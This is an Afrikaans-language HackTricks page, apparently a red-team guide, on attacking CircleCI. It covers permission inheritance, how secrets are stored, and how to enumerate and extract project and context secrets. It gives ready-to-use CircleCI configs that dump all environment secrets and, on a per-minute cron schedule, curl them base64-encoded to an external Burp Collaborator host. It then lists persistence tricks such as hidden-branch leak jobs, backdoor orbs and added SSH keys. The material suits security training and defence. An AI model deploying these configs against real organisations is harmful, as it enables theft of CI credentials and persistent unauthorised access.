CircleCI Sekuriteit
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
CircleCI is ’n Kontinuïteitsintegrasie-platform waar jy sjablone kan definieer wat jy wil hê dit moet met ’n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy toetsing of ontplooiings outomaties van jou repo hooftak doen byvoorbeeld.
Toestemmings
CircleCI erf die toestemmings van github en bitbucket wat verband hou met die rekening wat aanmeld.
In my toetse het ek gekontroleer dat solank jy skryftoestemmings oor die repo in github het, jy in staat sal wees om sy projekinstellings in CircleCI te bestuur (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep…).
Jy moet egter ’n repo admin wees om die repo in ’n CircleCI projek te omskep.
Omgewing Veranderlikes & Geheime
Volgens die dokumentasie is daar verskillende maniere om waardes in omgewing veranderlikes binne ’n werksvloei te laai.
Ingeboude omgewing veranderlikes
Elke houer wat deur CircleCI gedraai word, sal altyd spesifieke omgewing veranderlikes gedefinieer in die dokumentasie hê soos CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME of CIRCLE_USERNAME.
Duidelike teks
Jy kan hulle in duidelike teks binne ’n opdrag verklaar:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
U kan dit in duidelike teks binne die run environment verklaar:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
Jy kan hulle in duidelike teks binne die build-job omgewing verklaar:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Jy kan hulle in duidelike teks binne die omgewing van ’n houer verklaar:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Projek Geheime
Dit is geheime wat slegs toeganklik gaan wees deur die projek (deur enige tak).
Jy kan hulle verklaar in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables
.png)
Caution
Die “Import Variabels” funksionaliteit laat toe om variabels van ander projekte na hierdie een te importeer.
Konteks Geheime
Dit is geheime wat organisasie wyd is. Deur verstek kan enige repo enige geheim wat hier gestoor is toegang hê:
.png)
Tip
Let egter daarop dat ’n ander groep (in plaas van Alle lede) kan wees geselekteer om slegs toegang tot die geheime aan spesifieke mense te gee.
Dit is tans een van die beste maniere om die veiligheid van die geheime te verhoog, om nie te laat dat almal toegang het nie, maar net sommige mense.
Aanvalle
Soek Duidelike Teks Geheime
As jy toegang het tot die VCS (soos github) kyk na die lêer .circleci/config.yml van elke repo op elke tak en soek na potensiële duidelike teks geheime wat daar gestoor is.
Geheim Env Vars & Konteks enumerasie
Deur die kode na te gaan kan jy alle geheime name vind wat in elke .circleci/config.yml lêer gebruik word. Jy kan ook die konteks name van daardie lêers kry of hulle in die webkonsol nagaan: https://app.circleci.com/settings/organization/github/<org_name>/contexts.
Ekstrakteer Projek geheime
Warning
Ten einde ALLES van die projek en konteks GEHEIME te ekstrakteer moet jy net SKRYF toegang hê tot net 1 repo in die hele github organisasie (en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks).
Caution
Die “Import Variabels” funksionaliteit laat toe om variabels van ander projekte na hierdie een te importeer. Daarom kan ’n aanvaller alle projekvariabels van al die repos importeer en dan almal saam ekstrakteer.
Alle projek geheime is altyd in die omgewing van die werksgeleenthede ingestel, so net deur om omgewing aan te roep en dit in base64 te obfuskeer, sal die geheime in die werkvloei weblogkonsol geëkstrakteer word:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
As jy nie toegang tot die webkonsol het nie, maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net ’n werksvloei skep wat elke minuut geaktiveer word en wat die geheime na ’n eksterne adres uitvoer:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
Exfiltreer Konteks Geheime
Jy moet die konteksnaam spesifiseer (dit sal ook die projekgeheime eksfiltreer):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
As jy nie toegang tot die webkonsol het nie, maar jy het toegang tot die repo en jy weet dat CircleCI gebruik word, kan jy net ’n werksvloei aanpas wat elke minuut geaktiveer word en wat die geheime na ’n eksterne adres stuur:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
Warning
Om net ’n nuwe
.circleci/config.ymlin ’n repo te skep is nie genoeg om ’n circleci bou te aktiveer nie. Jy moet dit as ’n projek in die circleci konsole aktiveer.
Ontsnap na die Wolk
CircleCI gee jou die opsie om jou boue in hul masjiene of in jou eie te laat loop.
Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As ’n slagoffer egter die take in hulle eie masjiene (potensieel, in ’n wolk omgewing) uitvoer, kan jy ’n wolk metadata eindpunt met interessante inligting daarop vind.
Let daarop dat in die vorige voorbeelde alles binne ’n docker houer gelanseer is, maar jy kan ook vra om ’n VM masjien te lanseer (wat dalk verskillende wolk toestemmings kan hê):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
Of selfs ’n docker-container met toegang tot ’n afstands-docker-diens:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
Volharding
- Dit is moontlik om gebruikertokens in CircleCI te skep om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.
- https://app.circleci.com/settings/user/tokens
- Dit is moontlik om projektokens te skep om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- Dit is moontlik om SSH-sleutels aan die projekte toe te voeg.
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- Dit is moontlik om ’n cron-taak in ’n verborge tak in ’n onverwagte projek te skep wat elke dag al die context env vars lek.
- Of selfs in ’n tak te skep / ’n bekende taak te wysig wat elke dag al die konteks en projeksecrets sal lek.
- As jy ’n github-eienaar is, kan jy ongeverifieerde orbs toelaat en een in ’n taak as agterdeur konfigureer.
- Jy kan ’n opdraginjektievulnerabiliteit in sommige take vind en opdragte via ’n geheim deur sy waarde te wysig injekteer.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

